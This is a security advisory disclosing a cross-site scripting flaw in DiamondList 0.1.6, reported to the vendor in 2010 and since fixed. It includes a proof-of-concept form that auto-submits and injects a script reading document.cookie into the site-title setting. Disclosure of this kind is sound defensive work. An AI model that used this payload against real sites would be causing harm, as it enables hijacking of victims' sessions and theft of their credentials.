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XSS vulnerability in DiamondList

Vulnerability ID: HTB22508Reference:http://www.htbridge.ch/advisory/xss_vulnerability_in_diamondlist.htmlProduct: DiamondListVendor: Hulihan Applications (http://hulihanapplications.com/projects/diamondlist ) Vulnerable Version: 0.1.6 and Probably Prior VersionsVendor Notification: 22 July 2010 Vulnerability Type: XSS (Cross Site Scripting)Status: Fixed by VendorRisk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details:User can execute arbitrary JavaScript code within the vulnerable application.The vulnerability exists due to failure in the "/user/main/update_settings" script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/user/main/update_settings"; method="post"  name="main" ><input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' /><input type="hidden" name="setting[site_keywords]" value="wishlists, applications" /><input type="hidden" name="setting[site_description]" value="Powered by DiamondList" /><input type="hidden" name="setting[theme]" value="default" /><input type="hidden" name="commit" value="Save Settings" /></form><script>document.main.submit();</script>Solution: Upgrade to the most recent version

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